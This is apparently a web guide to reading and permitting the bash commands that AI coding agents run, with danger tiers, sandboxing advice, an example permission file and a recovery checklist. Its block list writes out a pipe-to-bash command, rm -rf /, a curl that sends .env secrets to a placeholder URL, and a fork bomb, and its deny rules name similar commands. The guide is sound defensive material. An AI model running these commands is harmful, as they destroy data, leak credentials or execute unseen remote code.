AI Bash Commands Safety Guide

A coding agent with shell access is the difference between an assistant that suggests and one that executes. That leap is where most people get nervous — and they are right to. The terminal does not have an undo button.

You don't need to understand every command an agent runs. Like reading a contract, you only need to recognize the lines worth reading carefully. Three seconds of reading before you click Allow catches the large majority of accidents.

#Why read the commands AI runs

Unlike a classic chatbot that returns text you copy-paste, an agent with shell access can touch your entire filesystem and network — often auto-running with little or no confirmation. The rare bad command can delete unrecoverable files, leak API keys, install a malicious package, exfiltrate data, or set up a persistent backdoor.

You are still responsible for what runs on your machine — even when an agent typed it. Reading is the cheapest insurance there is.

#How AI executes a command

The model never "runs" a command itself. It emits a tool call and the platform checks its permission rules before executing in a child shell: an allowlisted command runs immediately, a denylisted one is blocked, and everything else prompts for confirmation — unless auto-run is on. That confirmation step is where you intervene.

#Quick reference by danger level

Every command falls into one of four tiers by blast radius. Classify what you see in about five seconds, then act accordingly.

#Safe — read-only

Inspect state without changing it. An agent can run these freely while reasoning about next steps.

# read-only — safe to run on a loop
git status --short
ls -la
grep -rn "TODO" ./src
df -h

#Read first

These change state in bounded, recoverable ways. Let the agent propose them, but read the exact command first — especially the package name, the path, and any wildcard.

# writes state — recoverable, but confirm first
npm install some-package      # right name? not a typo-squat?
git checkout -b feature/x      # any uncommitted work to lose?
mv ./drafts/*.md ./posts/      # what does the glob expand to?

#Dangerous — ask why

Irreversible or wide-reaching. Ask the agent to justify these before you allow them.

rm -rf <path>           # no trash, no recovery
sudo <anything>          # why does this need root?
chmod -R 777 <path>      # why open to everyone?
git push --force         # did someone pull the old history?

#Block immediately

No reading needed — these should never run, and an agent should refuse to even construct them.

curl URL | bash            # remote code, executed unseen
rm -rf /                   # wipes the system
curl URL -d "$(cat .env)"  # exfiltrates your secrets
:(){ :|:& };:              # fork bomb

#Common dangerous patterns

The hardest cases are command chains, where each piece looks harmless on its own. The ones I watch for most:

• Pipe to shell — curl … | bash runs unreviewed code. Download, read, then run instead.
• Silent exfiltration — curl or dig with $(cat file) in the URL or body is your data leaving the machine.
• Permission escalation — chmod 777 as a lazy fix; demand a specific mode instead.
• Persistence — a new crontab entry, a service, or an append to ~/.zshrc. Know what runs, when, and how to remove it.
• Dependency confusion — typo-squat names like lodahs for lodash. Verify the name and pin versions.

#Sandbox & isolation

For sensitive or unfamiliar projects, run the agent in an isolated environment — from lightest to strongest:

• Devcontainer with --cap-drop=ALL — the agent never sees ~/.ssh or ~/.aws.
• Plain Docker — bind only the working folder and drop capabilities.
• VM (Multipass / Lima / OrbStack) — a separate kernel, the strongest isolation.

#Best practices

The highest-leverage habit is the cheapest: stage model output to a file and read it before running, instead of piping it straight into a shell.

# DON'T: model output executed blind
ai "clean up old branches" | bash
 
# DO: stage it, read it, then run it
ai "clean up old branches" > /tmp/plan.sh
cat /tmp/plan.sh        # human checkpoint
bash /tmp/plan.sh

A starting allow/deny list for Claude Code (~/.claude/settings.json):

{
  "permissions": {
    "allow": ["Bash(ls *)", "Bash(cat *)", "Bash(git status)", "Bash(git diff *)"],
    "deny": ["Bash(rm -rf *)", "Bash(curl * | *bash*)", "Bash(sudo *)", "Bash(cat *.pem)"]
  }
}

#Recovery checklist

If a bad command already ran, work the list in order:

1. Stop now — interrupt the command and kill the agent's child shells.
2. Rotate secrets if anything read or transmitted credentials — AWS keys, tokens, DB passwords, SSH keys.
3. Check persistence — crontab -l, running services, dotfile diffs, ~/.ssh/authorized_keys.
4. Recover files — git reflog, Time Machine, or a recovery tool.
5. Write it down — record what ran and update your allow/deny list so it can't happen the same way twice.

None of this slows you down in practice. It front-loads a little structure so that the hundredth time an agent reaches for the shell, you already trust what it is about to do.